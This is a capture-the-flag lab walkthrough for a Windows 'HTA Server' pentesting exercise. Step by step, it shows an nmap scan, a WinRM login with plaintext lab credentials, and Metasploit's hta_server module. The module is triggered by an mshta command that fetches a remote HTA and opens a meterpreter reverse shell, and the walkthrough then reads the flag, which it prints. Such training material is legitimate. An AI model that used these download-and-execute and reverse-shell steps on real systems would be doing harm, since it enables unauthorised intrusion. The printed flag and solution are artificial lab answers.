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TRAINING

Name	Windows: HTA Server
URL	https://attackdefense.com/challengedetails?cid=2402
Туре	Basic Exploitation: Pentesting

**Important Note:** This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

**Step 1:** Run a Nmap scan against the target IP.

Command: nmap --top-ports 65535 10.0.18.21

```
root@attackdefense:~# nmap --top-ports 65535 10.0.18.21
Starting Nmap 7.70 ( https://nmap.org ) at 2021-06-28 10:28 IST
Nmap scan report for 10.0.18.21
Host is up (0.056s latency).
Not shown: 8300 closed ports
PORT
         STATE SERVICE
135/tcp
         open msrpc
139/tcp
         open netbios-ssn
         open microsoft-ds
445/tcp
3389/tcp open ms-wbt-server
5985/tcp open wsman
47001/tcp open
               winrm
Nmap done: 1 IP address (1 host up) scanned in 23.24 seconds
root@attackdefense:~#
```

**Step 2:** We have discovered that the winrm server is running on port 5985. By default, the WinRM service uses port 5985 for HTTP. We have the credentials to access the remote server, we will run the Linux PowerShell to connect to the remote server via PSSession.

Running PowerShell

Command: pwsh

```
root@attackdefense:~# pwsh
PowerShell 7.0.0
Copyright (c) Microsoft Corporation. All rights reserved.
https://aka.ms/powershell
Type 'help' to get help.
PS /root>
```

We have successfully launched the Powershell.

**Step 3:** Store target server credentials in creds variable.

**Command:** \$cred = Get-Credential

Also, enter the target server credentials for the connection. administrator:chocolate\_123321

Connecting to the target server using PSSession.

**Commands:** Enter-PSSession -ComputerName 10.0.18.21 -Authentication Negotiate -Credential \$cred

```
097 057
```

```
PS /root> Enter-PSSession -ComputerName 10.0.18.21 -Authentication Negotiate -Credential $cred [10.0.18.21]: PS C:\Users\Administrator\Documents>
```

We are successfully connected to the target server. We now have full control of the server.

**Step 4:** Check the IP configuration information on the remote server.

Command: ipconfig /all

```
[10.0.18.21]: PS C:\Users\Administrator\Documents> ipconfig /all
Windows IP Configuration
  Host Name . . . . . . . . . . : EC2AMAZ-3BQC05U
  Primary Dns Suffix . . . .
  IP Routing Enabled. . . . . . . : No
  WINS Proxy Enabled. . . . . . . . No
  DNS Suffix Search List. . . . . : ap-southeast-1.ec2-utilities.amazonaws.com
                               ap-southeast-1.compute.internal
Ethernet adapter Ethernet:
  Connection-specific DNS Suffix . : ap-southeast-1.compute.internal
  DHCP Enabled. . . . . . . . . . . . .
  Autoconfiguration Enabled . . . . : Yes
  Link-local IPv6 Address . . . . : fe80::18e:23bb:cdc8:b10f%4(Preferred)
  IPv4 Address. . . . . . . . . . . . . . . 10.0.18.21(Preferred)
  Lease Obtained. . . . . . . . . . Monday, June 28, 2021 4:57:57 AM
  Lease Expires . . . . . . . . . . . . . Monday, June 28, 2021 5:57:56 AM
  Default Gateway . . . . . . . . : 10.0.16.1
  DHCP Server . . . . . . . . . . : 10.0.16.1
  DHCPv6 IAID
```

**Step 5:** We will be running the hta server exploit module to gain the meterpreter shell on the attacker machine.

Open another terminal and type below commands.

## Commands:

msfconsole -q use exploit/windows/misc/hta\_server exploit

"This module hosts an HTML Application (HTA) that when opened will run a payload via Powershell. This module hosts an HTML Application (HTA) that when opened will run a payload via Powershell. When a user navigates to the HTA file they will be prompted by IE twice before the payload is executed."

**Source:** https://www.rapid7.com/db/modules/exploit/windows/misc/hta\_server/

```
root@attackdefense:~# msfconsole -q
msf5 > use exploit/windows/misc/hta_server
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf5 exploit(windows/misc/hta_server) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.10.15.2:4444
[*] Using URL: http://0.0.0.0:8080/3DNaWL5PZTS.hta
[*] Local IP: http://10.10.15.2:8080/3DNaWL5PZTS.hta
[*] Server started.
msf5 exploit(windows/misc/hta_server) >
```

Copy the generated payload URL i.e "http://10.10.15.2:8080/3DNaWL5PZTS.hta" and run it on WinRM session with mshta command to gain the meterpreter shell.

Command: mshta.exe http://10.10.15.2:8080/3DNaWL5PZTS.hta

```
[10.0.18.21]: PS C:\Users\Administrator\Documents> mshta.exe http://10.10.15.2:8080/3DNaWL5PZTS.hta [10.0.18.21]: PS C:\Users\Administrator\Documents>
```

```
msf5 > use exploit/windows/misc/hta_server
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf5 exploit(windows/misc/hta_server) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.10.15.2:4444
[*] Using URL: http://0.0.0.0:8080/3DNaWL5PZTS.hta
[*] Local IP: http://10.10.15.2:8080/3DNaWL5PZTS.hta
[*] Server started.
msf5 exploit(windows/misc/hta_server) > [*] 10.0.18.21 hta_server - Delivering Payload
[*] Sending stage (176195 bytes) to 10.0.18.21
[*] Meterpreter session 1 opened (10.10.15.2:4444 -> 10.0.18.21:49718) at 2021-06-28 10:37:46 +0530
```

We have received a meterpreter shell successfully.

Step 6: Read the flag.

Commands: sessions -i 1

cd C:\\Users\\Administrator\\Desktop

dir

```
msf5 exploit(windows/misc/hta server) > sessions -i 1
   Starting interaction with 1...
meterpreter > cd C:\\Users\\Administrator\\Desktop
meterpreter > dir
Listing: C:\Users\Administrator\Desktop
Mode
                  Size
                        Type Last modified
                                                         Name
                        fil 2020-10-05 18:50:34 +0530 desktop.ini
                  282
100666/rw-rw-rw-
100666/rw-rw-rw-
                        fil 2021-06-16 14:22:13 +0530 flag.txt
                  32
<u>meterpreter</u> > cat flag.txt
df30cb178eb8e37728f39b3e6551c8demeterpreter >
```

We have discovered the flag.

Flag: df30cb178eb8e37728f39b3e6551c8de

## References

- Powershell on Linux
   (https://docs.microsoft.com/en-us/powershell/scripting/install/installing-powershell-core-o n-linux?view=powershell-7)
- 2. HTA Web Server (https://www.rapid7.com/db/modules/exploit/windows/misc/hta\_server/)